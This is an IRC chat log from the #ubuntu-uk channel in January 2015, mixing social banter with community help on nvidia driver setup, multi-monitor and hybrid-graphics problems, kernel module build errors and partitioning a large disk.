<zmoylan-pi> no wait... snopey is the one with underpants on head to keep warm :-)
<daftykins> that's snoopy (the former)
<Laney> he goes around debunking urban legends
<diddledan> popey, what was the mono conspiracy? I seem to have missed it
<popey> see boycottnovell, techrights etc
<popey> also ask directhex â»
<diddledan> oh golly, that sounds like it goes way back then
<popey> yeah, it was seen as a way for microsoft to taint the free software desktop
<directhex> "mono is an evil plot by microsoft to kill linux". been around since mono started in ~2002, was at its height in ~2007.
<popey> people complained bitterly when parts of the free software desktop depended on mono components
<popey> like banshee & tomboy
<diddledan> aah yes
<diddledan> thing is .netish (c#) is actually quite nice to code for
<diddledan> I miss mono from ubuntu stock installs
<diddledan> I liked that it used to be ootb
 * directhex continues work on shipping 3.12
<zmoylan-pi> every time you ship mono you just made stallman sad :-)
<ali1234> banshee somehow managed to be even more buggy and slow than rhythmbox, which is quite an achievement
<zmoylan-pi> when you consider how flaky itunes can be they're just copying the market leader
<diddledan> when it worked, banshee was pretty good, though do I recall it had memory issues with large libraries?
<zmoylan-pi> that seem to be the one that makes them all buckle.  fine with a gig or two. keel over and die when you point it at 3-4tb collection
<awilkins> Virginmedia came! Nice engineer man replaced my modem and upgraded my ageing infrastructure!
<awilkins> Fixed my horrible power levels!
<diddledan> yey
<awilkins> Still got only 20% of the bandwidth!
<diddledan> boo
<awilkins> Network issue
<diddledan> some network engineers know their stuff, others are complete idiots
<zmoylan-pi> they can usually find the right end of screwdriver with 2 attempts... usually :-)
<diddledan> it seems to be a lottery as to which kind you get on any callout
<zmoylan-pi> the good ones get better job offers
<daftykins> awilkins: still suck at 22 then? ouch
<awilkins> Well. It's bad compared to what I should get
<awilkins> It's still the fastest I've ever had
<awilkins> And quite acceptable really
<diddledan> a far cry from the 100 you're promised tho
<awilkins> I think my first upgrade was from a 56kbit/s modem to 256kbit/s cable
<awilkins> I can download a 10GB game in less than 2 hours
<awilkins> That's pretty awesome
<diddledan> https://pbs.twimg.com/media/B7PNF06IcAEjMCB.jpg:large
<diddledan> bbc says americans are going back to huge engines again
<awilkins> Cheap oil
<diddledan> the car co.s seem to be saying they're green(er than they used to be)
<zmoylan-pi> cheap petrol for 5 minutes.  but a suv!!!
<awilkins> It's a plot by those evil A-rabs
<zmoylan-pi> *buy
<awilkins> zmoylan-pi, This guy was just a wires and stuff engineer
<daftykins> awilkins: did the engineer outright state it was probably a bad region for speeds, or similar?
<daftykins> or like, a regional network issue
<awilkins> daftykins, Not specifically, but he wasn't disagreeing with my opinion that there are a lot of torrenters around here
<daftykins> doh
<awilkins> Last time we had network issues the local router didn't have enough RAM and CPU to cope with all the TCP sessions.
<awilkins> Was getting ping times for 1 hop of 150ms +
<zmoylan-pi> then they would show up as they start and stop torrenting usually at night
<awilkins> I have a 100Mbit/s switch inside the modem
<daftykins> yeah you'd surely get a good time of day
<awilkins> Just have 20Mbit/s regular as clockwork mostly
<awilkins> I might just put the desktop on it "naked" for a while and see if that helps
<awilkins> But even accounting for having 100Mbit/s switch in the way, 20Mbit/s is too slow
<daftykins> indeed
<ThomasRedstone> Hello, I'm running 14.10.1 on a Gen 3 i5 laptop, with 12GB of RAM and a fairly modern SSD, but I get occasional slowdowns, and sometimes even full freezes, during the slowdowns I've been able to confirm I've still got 3GB of RAM free, any suggestions on how I could begin to troubleshoot?
<diddledan> ThomasRedstone, see if any processes are in io-wait while frozen or whether the cpu is maxxed out and by what
<zmoylan-pi> a full partition?
<ThomasRedstone> I'll keep an eye out for that diddledan next time it happens, zmoylan-pi, plenty of disk free (50GB or so)
<daftykins> utopic has a .1 already?
<ThomasRedstone> Made me question myself for a second there daftykins, but it's true!: http://www.ubuntu.com/download/desktop :-)
<daftykins> 14.04.1 yeah - but you'd said 14.10.1 :>
<zmoylan-pi> he's just popped back to give himself some lottery numbers :-)
<daftykins> ThomasRedstone: i am pleased you chose LTS, if so!
<ThomasRedstone> I did didn't I? I got my versions in a muddle I guess!
<ubc> I try sticking with LTS, but the latest release is always best for me
<zmoylan-pi> stardate 1210421.2 preparing for the installation of 15.04...
<ubc> more like 15.01
<ubc> Dev builds seem to break for me though.
<daftykins> ubc: how come newest works best for you? dev work?
<ThomasRedstone> oh, I do have 14.04.1 LTS, I thought I'd upgraded, but thinking about it, I don't think I will...
<ubc> With dev builds, things seem too unstable, eg sound broke for me once, plus PPAs are usually not updated untill release.
<awilkins> Been using 14.10 on the laptop
<awilkins> Only thing that's annoyed me is that the Oracle builds of MySQL Workbench are broken
<awilkins> Because someone changed the APIs on GTK
<ubc> However, I often partially mess up installs with tweaking after a few mounts, so a reinstall twice a year is useful.
<ubc> Gnome updates breaking things get annoying
<ubc> but at least the Gnome devs are onto improving things now, not removing features in the name of simplicity.
<zmoylan-pi> the lynch mobs outside probably helped their concentration :-P
<ubc> That sort of thing would distract me
<zmoylan-pi> they say an execution concentrates the mind...
<ubc> That sort of thing would distract me
<ThomasRedstone> yeah, I'm work really, really badly when I'm being executed!
<zmoylan-pi> there'll be balloons and t-shirts
<diddledan> tea?
<zmoylan-pi> if you want
<zmoylan-pi> with... chocolate hobnobs
<diddledan> mm, choccy nobnob
<ubc> are you two in approximately the same physical location
<zmoylan-pi> dublin ireland o/
<diddledan> europe?
<ubc> about tea
<ubc> you can't send it over the internet
<diddledan> I'm only about 4-600 miles from zmoylan-pi (guess)
<ThomasRedstone> Aren't we in the UK Ubuntu group? So shouldn't we all be 'approximately' in the same location?
<zmoylan-pi> i'm irish, i have relatives and friends everywhere.  i can make 1-2 calls tops :-P
<ubc> true
<ubc> I was thinking the same building
<ubc> nvm
<diddledan> ThomasRedstone, you'dathunk
<diddledan> ThomasRedstone, cept m0nkey_ left us for bloomin canukland
<diddledan> and mapps is down the bum of spain
<diddledan> I think czajkowski is over in the states right now, too (not sure where she harks from usually tho)
<diddledan> hmm, I've broken a drupal
<zmoylan-pi> originally from limerick now residing in uk
<diddledan> ooh, popey doing a webcast in 15 at ubuntuonair \o/ (yey for me actually spotting the announcement for once)
<ThomasRedstone> Doh, just realised I'm *not* on 14.04! I ran the command on a server instead, I really am on 14.10!
<diddledan> lmao
<ThomasRedstone> So *mostly* UK diddledan :-)
<diddledan> that's the kinda thing we all do
<daftykins> XD
<zmoylan-pi> the sun never rises on the uk channel :-)
<diddledan> daftykins is french, ThomasRedstone , so you're free to ignore him out of spite :-p
<ThomasRedstone> at least my servers run LTS :-P
<diddledan> zmoylan-pi, nighttime ftw
<daftykins> i'm not french :(
<daftykins> rude sir! rude!
<diddledan> teehee
<ThomasRedstone> although my love of crazy technologies like HHVM may mean upgrading a little early...
<diddledan> daftykins, you're close enough you can spit at them in the eye tho
<daftykins> but i don't! instead we quarrel endlessly over fishing waters
<diddledan> at least they're not as bad as the Spaniards over fishing rights
<diddledan> those spanish like plundering the british "north sea"
<diddledan> ThomasRedstone, I had issues with hhvm
<diddledan> ThomasRedstone, it kept dying
<diddledan> something about running out of space depite having oodles of rams
<diddledan> I forget now
<diddledan> vim is funky
<ThomasRedstone> was that quite recent diddledan? I've not had any trouble with it, and I've been using it in production (I live dangerously! ;-P)
<diddledan> several months ago now
<ThomasRedstone> I keep on promising myself to really try and *get* vim, but it never quite works out, it may have improved since, I think the version I'm using is 3 months old, but I may be wrong
<awilkins> Helps if you can get vim keybindings for your chosen IDEs
<diddledan> I just discovered ":set paste"
<zmoylan-pi> or code like a proper coder in vim :-)
<awilkins> There's vrapper for Eclipse and Komodo IDE has a Vi binding
<awilkins> If NeoVim manages to do things properly a lot of things can basically become Vim with a new face
<awilkins> I consider myself a Vim novice
<awilkins> I can do some of the basics fluently but I'm no power user
<zmoylan-pi> even vim experts consider themselves vim novices when they press the wrong key :-)
<zmoylan-pi> and the most random text is to put a newbie down in front of vim and ask them to exit the program :-D
<diddledan> I wonder what gvim is like for more ide-like functionality that is usually reserved for "more-than text editor"s
<diddledan> I know you can get autocomplete in textmode vim for some things
<czajkowski> diddledan: sup? in Mountain view
<diddledan> czajkowski, ello :-)
<bashrc_> can you view any mountains?
<czajkowski> yes
 * zmoylan-pi looks out window and wonders if czajkowski is planning a trip home or something :-P
<czajkowski> zmoylan-pi: nope
<zmoylan-pi> just it's the perfect weather, storms, snow, wind... :-)
<bashrc_> are you in the Googleplex?
<ThomasRedstone> We've got some nice stormy weather here, and now, of all times, I've decided that I'd like go go and walk up some mountains in Wales, maybe next weekend...
<zmoylan-pi> you'll be grand if you wear a bobble hat :-)
 * diddledan plays with the bobble
<davmor2> ThomasRedstone: if you install vim and then run vimtutor that gets you used to some of the options quite quickly :)
<ThomasRedstone> yeah, I know *some*, just no where near as much as I know how to do in Sublime, Netbeans, and Notepad++...
<ThomasRedstone> anyway, I best be off, may be back later though
<Myrtti> I love soldering â¥
<awilkins> Daughter likes soldering too. Poking things with a hot iron and getting a curl of smoke and a shiny metal joint sticking things together is super magic fun.
<diddledan> awilkins, until she drops it on your foot
<ali1234> watch out for the fumes too
<diddledan> solder is cleaner than it was due to EU regs several years ago
<diddledan> removing lead I believe it was
<diddledan> means solder is less usable than before, tho
<ali1234> the fumes are still pretty bad though, it's mainly from the flux i think
<diddledan> something about the lead in the mix made it easier to work with IIRC
<diddledan> maybe lower melting point
<ali1234> it lowers the melting point
<ali1234> you can still buy lead solder btw
<diddledan> I seem to recall dad explaining that it's very difficult to work with ICs in combo with the lead-free solder because the melting point is high enough to ruin the chip
<ali1234> it's way easier to work with
<ali1234> well, the melting point isn't that much higher
<ali1234> it's mainly just that it doesn't flow as clean because the whole recipe of everything is different
<Azelphur> ordered a laptop from mysn and they went out of stock of the processor I ordered, so they gave me a free CPU upgrade \o/
<Azelphur> this is like bank error in your favour, only better.
<diddledan> noice
<Azelphur> and it arrives tomorrow *excited \o/
<diddledan> time for a quickie nap methinks
<daftykins> hehe, i'll bet you're the only one whose routine compares to my messed up one
<shauno> then you're doing it wrong :)  if you don't have a routine, you can't break it :)
<daftykins> i actually sorted mine out and woke up at 8am today, solely to go to the doctor
<shauno> heh .. I Went to bed at 9am this morning.  but I"m blaming civ5 for that
<shauno> multiplayer games take *days*
<daftykins> O_O
<DJones> If you get an error during an update, where does the error message get recorded, which log file
<mapps> well wasnt bad..mcdonalds for dinner
<mapps> :D
<mapps> its right outside my apartment lol ...manage to not go often tho
<DJones> After installing updates today via update manager, an error was flagged up, the term.log is http://paste.ubuntu.com/9735153/ with the error shown on line 62 specifically, "Error! Bad return status for module build on kernel: 3.16.0-29-generic (x86_64)" this is on 14.10 with nvidia-prime installed, is the error something to worry about
<daftykins> DJones: you're running a way newer kernel though, right?
<daftykins> or is -29 current?
<DJones> uname -r shows 3.16.0-28-generic
<DJones> I've not rebooted since the error yet
<daftykins> oh but -29 just got installed, i just read your log
<daftykins> looks like the nvidia driver will fail to function on reboot then - you might have to provoke dkms to rebuild the module to see if it'll work on a subsequent try
<daftykins> that'll be serious if nouveau doesn't work on your hardware
<DJones> I can always switch to intel before reboot
<daftykins> unfortunately i don't have a clue with DKMS so i'd just be googling for how to rebuild
<DJones> That looks easy http://news.softpedia.com/news/How-to-Rebuild-Nvidia-Driver-s-Kernel-Module-Using-DKMS-317887.shtml
<daftykins> huzzah :D
<daftykins> though i guess it's nvidia-331 for you and not nvidia-current
<thomas1> Hello, ThomasRedstone here... I'm having one of these freezes now, the behaviour is quite odd this time though, my GUI froze, so I switched to tty2, when I switched back to the GUI I was at a guest session, when I try to switch to my own user it goes black for a second, then returns to the guest session, as Freenode says I'm still connected, I'm guessing my session is still live, I just can't connect to
<thomas1> it...
<thomas1> Weechat is a pretty nice IRC client it seems
<thomas1> I'm going to try and use Lynx to troubleshoot... I bet I wouldn't have these problems if I used CLI all the time :-P
<ThomasRedstone> okay, just rebooted, I'm going to try Cinnamon instead of Unity, maybe it will be better (certainly looks better :-P)
<jgjones> Greetings.
#ubuntu-uk 2015-01-14
<jgjones> Quick question if you don't mind...
<jgjones> Got a new monitor, so that mean I would have 3 monitors.
<popey> uhuh
<m0nkey_> You have the math
<jgjones> Previous setup - 1080 screen and a older viewsonic screen at 1280x1024 - dual screen is fine, no issues (old is DVI, new is HDMI)
<jgjones> new monitor - using displayport, it's a 1080 screen.
<jgjones> On its own, works fine. It simply will not play nicely with the other two screens in any configuration.
<jgjones> the new monitor is capable of 144Hz refresh rate if that make any difference?
<jgjones> oh and graphics is nvidia
<jgjones> any clues as to what might be the problem?
<diddledan> nvidia
<jgjones> I've used 3 screens with nvidia without any problem in the past though?
<diddledan> I don't know how out of date my info is but I recall there being a thing that nvidia crippled their cards or drivers to only support two monitors
<ThomasRedstone> okay...
<ThomasRedstone> Still don't know the question, but, have you tried disconnecting one of the other monitors and seeing if it works with the new one, and one of the old ones?
<ThomasRedstone> or maybe IRC has a very long lag for me right now...
<jgjones> ThomasRedstone, I should really have thought of doing that. I'll disconnect the old one and see.
<ThomasRedstone> Are you certain it supports 3 monitors? I know my laptop doesn't, so I have to turn the built in display off when I work with my dual monitor setup
<popey> i thought they crippled to only support 3
<jgjones> It's a desktop PC by the way but that would be friggin' annoying if they did cripple to support just 2 screen considering I bought the new one to have 2 screens.
<jgjones> 3 screens I mean.
<jgjones> It's fine on Windows after all but I'll really rather not use that.
<ThomasRedstone> ah, if it works on Windows, it's not a hardware limitation, though it could potentially still be lower level, like drivers, but who knows...
<ThomasRedstone> anyway, I'm off to bed! Night all
<jgjones> no hardware limits - the graphics card - gtx970 support up to 4 screens.
<jgjones> pulled out old monitor and it's happy with 2 screens once again.
<jgjones> I'll plug that in now live.
<jgjones> Hmm OK.
<jgjones> I really should have done what ThomasRedstone suggested...it seems that if I unplug the old monitor, setup dual screen with the 2 HD screens, and then plug in old monitor and it can then be added as a 3rd screen.
<jgjones> Panic's over folks, it's working (so far, I have yet to reboot and see what happens)
<diddledan> odd
<diddledan> oh well at least it almost works as planned - it might require hotplugging ever time though which would be a nuisance
<jgjones> no wait...
<jgjones> new problem...it now doesn't work...yes I spoke too screen. Sigh...
<jgjones> there was an error message, but I hit enter while that was active so didn't read what it said and new screen is off. I'll restart and see if I can see the error message again.
<jgjones> Ah - it all works fine. I do get an error message that shows up: "The selected configuration for displays could not be applied. could not set the configuration for CRTC 443"
<jgjones> Just a close button on that.
<jgjones> Funny thing is that it works just fine with 3 screens, but if I click on Close on the error message, I lose the middle screen and it all get screwy.
<jgjones> OK - new advice please ladies and gentlemen - what's the best way I can collect a log of all this so that I could submit it as a bug report if not already exists?
<jgjones> I mean..what do I need? /var/log/xorg.log anything else?
<popey> there is an nvidia bug report tool which does it for you
<jgjones> Thanks. I assume it should go to nvidia rather than Ubuntu since I'm using nvidia drivers?
<popey> you donwloaded from nvidia.com?
<popey> if so, they have a bug reporting script and details on their forums
<jgjones> xorg-edgers ppa
<popey> ah
<popey> I'd follow the nvidia process
<jgjones> Memory's a tad vague but I think I started using xorg-edgers because the offical nvidia drivers that come with ubuntu official sources didn't support the maxwell GPU
<popey> there's little we can do with the closed driver
<jgjones> Aye, I figured.
<diddledan> :-o http://www.independent.co.uk/life-style/food-and-drink/news/nation-in-shock-as-cadburys-changes-the-creme-egg-recipe-9971856.html
<diddledan> oh. "mainstream support for windows 7 ends today" <-- I'm assuming that's the pre-sp version
<zmoylan-pi> i think it's looking to promote paid for service patches
<diddledan> lol: http://gizmodo.com/blackhat-alllmost-gets-hacking-right-1679233206
<diddledan> I still want to watch it tho
<diddledan> I like the comments section
<diddledan> """Sure, but all it takes is one careless idiot who's late for a meeting and just HAS to get that report printed right now to fuck it up for everyone. That's the simple genius of phishing scams. It doesn't matter how tall the castle walls are if you can get some moron to raise the portcullis and lower the drawbridge."
<diddledan> language
<diddledan> sorry, I should have vetted it a bit better
<mapps> morning
 * zmoylan-pi opens one eye to confirm, doesn't like the view and closes the eye again
<mapps> sup:D
<mapps> actually been asleep for once eh?
<mapps> normally you and daftykins  and diddledan  seem to be here all the time
<mapps> oh and shauno  :)
<zmoylan-pi> nah, i'm awake, coughing lungs up.  thank goodness for lozenges easing cough
<shauno> not all the time, just the weird hours you keep :)
<mapps> yea  but u all stay up when you have work in the morning
<mapps> im here when ive finished work;p
<mapps> ;]
<mapps> looks like my pi might have crashed again
<mapps> argh
<zmoylan-pi> what was it running at the time?
<knightwise> morning Ã¨
 * knightwise is still fighting with Retropie :)
<mapps> openvpn/apache
<mapps> and a pptp vpn
<mapps> i cant see it so cant check logs..dunno if its totally crashed or just networking stack?
<mapps> but i cant ssh to it or anything
<mapps> if i get it rebooted..will there be any logs i can check? someone said before theyd be gone upon reboot
<Myrtti> moin
<awilkins> http://moinmo.in/
<MooDoo> morning all
<davmor2> Morning all
<bashrc> morning
<davmor2> MooDoo: is all the snow melted up your way?
<MooDoo> davmor2: haven't had any
<davmor2> MooDoo: :(
<MooDoo> supposed to have a little flurry at some point but nothing major, was a bit frosty this morning, but that's about it
<JamesTait> Good morning all; happy Organise Your Home Day! :-D
<nigelb> I did that yesterday.
<nigelb> My books are in a neat bookshelf that makes me happy every time I look at it.
<JamesTait> Normally I would follow on in the spirit of yesterday and be very skeptical about my chances of organising my home, but I've also been doing exactly that the last couple of days.
<JamesTait> In fact, nigelb, I also re-organised the books in my bookshelf last night.
<nigelb> \o/
<nigelb> I realized sadly that I have far little books than I thought.
<nigelb> ~100
<nigelb> rather than the 200 or so I thought.
 * davmor2 spent the holiday organising his office does that count JamesTait ?
<nigelb> I only knew them as "needs 5 cardboard boxes"
<JamesTait> davmor2, YES!
<davmor2> \o/
<JamesTait> nigelb, I discovered that The Fifth Elephant seems to have wandered off somewhere.
<nigelb> the conference?
<nigelb> Oh, the book!
<nigelb> JamesTait: I have not yet bought into the Prachett world.
<nigelb> I have two books, not yet read them.
<nigelb> Last night I thoguht I'd read to bed.
 * bashrc never bought into the Prachett world
<nigelb> Bad idea: Stayed up most of the night reading the book instead of sleeping.
<JamesTait> I'm working through the Discworld series with my eldest son atm.
<awilkins> He starts off as funny but pretty standard fantasy spoof humour
<awilkins> He develops a lot of heart and insight later on
<awilkins> His recent work has started to show the signs of his condition which is really sad
<brobostigon> morning boys and girls.
<MooDoo> morning brobostigon
<brobostigon> morning MooDoo
<JamesTait> brobostigon, o/
<brobostigon> morning JamesTait
<diplo> Afternoon girls and boys
<popey> pip pip
<MooDoo> howdy diplo
<diplo> Got myself a new 4TB drive, just wondering the best way to partition it as fdisk doesn't support >2TB
<diplo> Any pointers to sites would be great, gdisk seems to be the option I can find so far
<popey> gparted does
<diplo> Ah right, parted is the CLI version isn't it ?
<popey> just needs a bigger partition table
<popey> gpt
<diplo> yeah, never had an issue as I've always done something this large under raid normally, first time I've used a single large disk
<diplo> Just want to do it right until I can afford two more drives
<diplo> Ah seems simple enough with parted ta
<popey> i have two 4TB drives arriving this week
<popey> need to think about how to partition them..
<MooDoo> I'm looking at 2TB wd red drives for my servers
<diplo> I'm going with one big one for now, and next month hopefully buy two more drives and may make a btrfs set up
<bashrc> my storage needs are quite modest. I don't save a lot of video and mostly I'm just producing text.
<diplo> I rip all my DVDs to video for media centre, 500-600 films
<diplo> I've saved so much money on kids not breaking DVD's :)
<MooDoo> I'm just using mine for my vps server
<popey> my btrfs drive is mostly knackered
<popey> uhm
<awilkins> diplo, I keep intending to rip all my DVDs and loft them
<awilkins> But it would mean upgrading all my infrastructure..
<awilkins> My current media rig is a CRT TV connected to a 15 year old MythTV box (rocking a Sempron)
<diplo> I've done mine over the last few years
<awilkins> IDE drives
<diplo> Ah right :D
<awilkins> And the CPU gets a bit warm if you don't underclock it
<awilkins> I'd have to upgrade the MythTV box
<awilkins> Which means I'd then have to upgrade the TV
<awilkins> I suppose in this day and age that means less than a grand
<awilkins> Just the TV and VCR were Â£700 when I got them
<diplo> I need lots of new things too, but the Revo media box works well with XBMC
<diplo> Bought the microserver cheap a few years ago
<ali1234> why would you have to upgrade the tv
<knightwise> yoyo
<MooDoo> howdy knightwise
<knightwise> hey MooDoo
<knightwise> im on my phone over ssh .. so
<knightwise> but slow
<knightwise> and lots of typos
<popey> â
<shauno> boy it's evil Out There.  do not advise.  Outside highly overrated.
<ThomasRedstone> ali1234, connecting TVs that old to modern computers isn't trivial... Trouble is, TVs these days don't seem to last 15 years...
<ali1234> i'm surprised there are still working CRTs to be honest
<ali1234> all of mine died years ago
<daftykins> heh, just got called up to a pal doing a presentation in a fancy hotel about 2 mins walk from here, she couldn't open a powerpoint
<daftykins> turns out they were trying to open the ._blah.pptx files macs create, rather than the real thing
<daftykins> glad it was close 'cause i dragged myself up there with a spare laptop, sick as i am :P
<Azelphur> Hey folks, new laptop with Xubuntu 14.10, installed bumblebee bumblebee-nvidia prims linux-headers-generic, primusrun glxgears says "Bumblebee daemon reported: error: Could not load GPU driver" any ideas?
<ali1234> bumblebee tuna?
<Azelphur> wat
<ali1234> https://www.youtube.com/watch?v=7ZcsARqmq1U
<daftykins> Azelphur: y'know nvidia-prime replaced bumblebee?
<Azelphur> I did not know
<daftykins> i think results are still varied between the two
<shauno> tuna?
<daftykins> i see lots of optimus users moaning about tearing with prime
<Azelphur> ali1234: lol
<shauno> I keep getting adverts for glittery pants getting slapped with a fish.  I thought google was meant to know who I am
<Azelphur> daftykins: so how do I run something under nvidia-prime?
<daftykins> pass :D i just know driver package + nvidia-prime package should be gravy to get it setup
<davmor2> Azelphur: Nvidia-prime auto selects Nvidia by default you can drop it down to power saving in nvidia-settings which then uses the intel gfx instead
<Azelphur> davmor2: interesting, any way I can test whether it's working? I can't see any option to switch to power saving in nvidia-settings
<davmor2> Azelphur: you need to install nvidia-prime then open settings and goto prime profile iirc
<daftykins> with bumblebee already present, prime won't work / be fudged
<Azelphur> daftykins: I've removed all the bumblebee stuff and installed nvidia-prime, nvidia-settings only has two tabs, Application Profiles and nvidia-settings configuration.
<davmor2> Azelphur: you need nvidia-313 or higher too
<daftykins> might as well go nvidia-331
<davmor2> whatever is highest is normally a good thing but it works with 313 and up
<daftykins> 313 isn't a real number for PPA based drivers
<daftykins> it's 304, 319 and 331 afaik
<Azelphur> I see
<daftykins> @find nvidia-
<Azelphur> I wonder why there isn't an "install the latest version" package
<Azelphur> seems silly
<daftykins> hilariously 'nvidia-current' installs 304.
<davmor2> daftykins: listed is 304, 310, 313, 319 and 331
<Azelphur> indeed, I noticed
<daftykins> more to the point, a driver that supports modern cards isn't packaged yet, so we get endless trouble with all the newcomers in #ubuntu
<daftykins> davmor2: ah, my bad then.
<davmor2> Azelphur: because nvidia only support certain cards on certain drivers so you need to install the driver for your card not necessarily the highest number
<davmor2> Azelphur: on prime however it is possibly new enough for the highest number :)
<Azelphur> yea but assuming the 970 is gonna be supported for a long time ;)
<daftykins> the 750Ti and 9xx series need non-PPA drivers to function
<daftykins> who is even responsible for packaging nvidia drivers 0o this one is a major showstopper for tonnes of users
<Azelphur> installed nvidia-331-updates and nvidia-prime, still same issue
<davmor2> daftykins: tselliot
<ali1234> my 780 works fine
<davmor2> Azelphur: reboot
<daftykins> ali1234: that's because it's a different generation
<Azelphur> davmor2: already have
<daftykins> the 750 Ti is maxwell i believe
<ali1234> it is
<ali1234> the funny thing is that there are literally no games on linux that need a 970, or even a 780
<davmor2> Azelphur: https://wiki.ubuntu.com/X/Config/HybridGraphics
<Azelphur> I have all that stuff, still doesn't work :(
<daftykins> sir, i expect more of you than an #ubuntu "IT DUN WORK!" :)
<Azelphur> daftykins: kinda hard to get more from it than "it doesn't work"
<Azelphur> it's not like I get error messages out of it or anything.
<daftykins> Xorg.0.log ? :P
<Azelphur> and baring in mind I only found out about it 5 minutes ago, my debugging capability is somewhat limited :P
<Azelphur> http://paste.ubuntu.com/9748059/ nothing interesting it seems
<daftykins> do you have a xorg.conf ? i dunno if bumblebee messes with one these days or no
<Azelphur> daftykins: nope
<davmor2> Azelphur: maybe have a word with tselliot
<Azelphur> ?
<Azelphur> I don't see anyone around by that name
<daftykins> weird, i thought you'd see more than just intel stuff
<daftykins> didn't realise you have to use lightdm
<DJones> daftykins: Just for info, that bug/error I mentioned last night doesn't seem to have any effect, laptop still boots with nvidia without any issue
<daftykins> DJones: oh wow! that is odd
<DJones> Yup,  I think it may be running slower (in terms of FPS looking at Minecraft) but everything is working fine generally, I'll just leave it until the next update & see what happens
<daftykins> DJones: sure it didn't just revert to nouveau? "pastebinit /var/log/Xorg.0.log"
<DJones> http://paste.ubuntu.com/9748253/
<daftykins> nope looks good, although that's a hybrid setup too i see
<DJones> Yes it is, nvidia/intel
<daftykins> you mentioned switching between intel and nvidia last night, do you get to pick? o0
<DJones> Yes using the nvidia x server settings app, its just under prime profiles, I can select Nvidia (Performance mode) or Intel (Power saving mode)
<DJones> http://imgur.com/dTB0LHb
<daftykins> ah i see
<daftykins> just what Azelphur is after!
<DJones> Ah, if he wants more screenshots of the app, give me a shout
<Azelphur> daftykins: I definitely don't have those options
<Azelphur> I literally only have two options :(
<DJones> I'll upload some more screenshots
<Azelphur> I only have the bottom two options (application profiles and nvidia-settings configuration) everything else is missing from my nvidia-settings
<Azelphur> I don't think screenshots are gonna help, but it'd be nice to know what packages you installed
<Azelphur> DJones: also does that allow you to run specific applications under nvidia but leave the rest on the intel?
<daftykins> compare a "dpkg -l | grep nvidia" perhaps
<daftykins> i take it you had full reboots between ditching bumblebee?
<Azelphur> daftykins: haha I just noticed I have nvidia-304 AND nvidia-331...that's probably not hhelping.
<DJones> Azelphur: Yes in theory,I've not tried it, but its supposed to using the application profiles
<DJones> From memory, all I installed on a clean install was nvidia-prime and nvidia-settings
<Azelphur> http://paste.ubuntu.com/9748471/ actually, looks like I have some other bits
<Azelphur> what's rc?
<daftykins> removed, configured
<Azelphur> ah
<Azelphur> DJones: can I see your dpkg -l | grep nvidia?
<daftykins> i'd purge the lot sir
<DJones> Give me a sec
<Azelphur> sudo apt-get remove --purge nvidia-* ?
<daftykins> without the hyphen ja
<DJones> http://paste.ubuntu.com/9748483/
<daftykins> well, not much difference either way i guess
<daftykins> ah the difference there is 331 vs. 331-updates
<DJones> I'm on 14.10, but I did the same on 14.04
<Azelphur> yea I'll try on 331
<Azelphur> daftykins: I did apt-get remove --purge nvidia* and I still have a bunch of stuff which is rc
<DJones> Azelphur: Could that be from the bumblebee-nvidia?
<daftykins> well, hopefully you have everything bumblebee related off there
<daftykins> i'd probably reboot before installing anything further to replace too, as ridiculous as that may seem
<DJones> 1st line of Azelphur's paste was a bumblebee-nvidia
<Azelphur> aha fixed it :)
<Azelphur> at least, the rc stuff not the nvidia stuff
<daftykins> DJones: yep but i wasn't sure whether to be worried about a removed but configured package
<Azelphur> daftykins / DJones I got the exact same packages and still no entries in nvidia-settings
<Azelphur> I wonder if 331 is new enough for a 970?
<daftykins> hang on a minute
<daftykins> this laptop is a 970m ?
<Azelphur> yup
<daftykins> i should probably have started with asking what hardware it is XD
<Azelphur> hehe
<daftykins> nah the 331 doesn't support that afaik
<daftykins> you'll need 340 from the website or xorg-edgers
<daftykins> i don't know if they need to be modified in any way to run with prime
<Azelphur> ah right, xorg-edgers it is
<daftykins> i don't know if they have a prime package too though, so proceed with caution :>
<Azelphur> its working \o/
<daftykins> awww yeah
<daftykins> if only i'd started from the beginning that could've saved some fun :(
<DJones> Azelphur: switchable nvidia/intel as well?
<diddledan> *yawn*
<Myrtti> some more soldering done.
<Myrtti> got the more handshaky bits done before darkness fell
<Myrtti> yay.
<diddledan> Myrtti, you rock it girl! :-p
<diddledan> well done! :-D
<diddledan> I haven't soldered since I was a teen
<diddledan> I need to find something interesting to get my teeth into that will encourage me to start again
<Myrtti> yeah, I've had a few projects in mind for both sewable and soldering projects but never really got anything that piqued my interest until this summer
<bashrc> The wearable stuff looks like fun, but sadly these days I don't have so much time
<Myrtti> I just ordered two meters of 1.2mm white heat shrink from ebay and about 45 minutes later realised I don't need it.
<Myrtti> oh well.
<diddledan> google slapped microsoft a second time before the tuesday (yesterday) patch releases: http://grahamcluley.com/2015/01/google-discloses-microsoft-windows-vulnerability
<awilkins> Exploit WAR!
<awilkins> WebView exploit affecting 4.3 ....
<diddledan> yeah, ref: http://www.hotforsecurity.com/blog/google-endangers-900-million-android-smartphones-by-refusing-to-patch-webview-11170.html
<ali1234> pls stop linking to graham clueless
<daftykins> haha
<daftykins> he did get a bit too big for his britches didn't he?
<diddledan> sorry, it's only because he emails me a lot
<diddledan> he seems to be the only guy to write security things these days - absolutely bloomin everywhere!
<diddledan> how about lesbians instead? https://www.youtube.com/watch?v=W_N36YpApQA
<ali1234> buzzfeed? reeeaaaaally?
<diddledan> youtube emailed me, and I clicked - I didn't look to see who posted it
<diddledan> oh god. facebook just reminded me that BSG was 10 years ago
<diddledan> now I feel old
<diddledan> you can't moan about al murray, can you? https://www.youtube.com/watch?feature=player_embedded&v=tADgYkAfXro
<ThomasRedstone> 1p pints!!! Nice!
<ThomasRedstone> off home now! Bye!
<daftykins> o/
<davmor2> Azelphur: you just needed the newer nvidia drivers then in the end?
<diddledan> kittycuddle: https://pbs.twimg.com/media/B7U7S1GIEAIUJzv.jpg:large
<popey> awwwww
<daftykins> diddledan: or disposing of the competition?
<Azelphur> Does anyone know if the new nvidia-prime stuff will let you set up profiles to run games under nvidia while leaving everything else to Intel?
<DJones> Azelphur: Just found this, not sure if it tells you enough though https://help.ubuntu.com/community/BinaryDriverHowto/Nvidia#Creating_Application_Profiles
<Azelphur> DJones: that doesn't allow for toggling of the card by the look of it I think only primus can do that
<DJones> Yeah that was my impression
<DJones> I'm not sure, but I think bigcalm may have looked into it
<bigcalm> Humm?
<bigcalm> My away proxy sense was tingling
 * bigcalm goes away again
<davmor2> slaps bigcalm 's away proxy
<diddledan> more kittycuddle cuteness: https://pbs.twimg.com/media/B7VkhTtIQAETjms.jpg:large
<zmoylan-pi> moggies looking moody https://pbs.twimg.com/media/B7V0_vzCYAEv21T.jpg
<daftykins> zmoylan-pi: :D
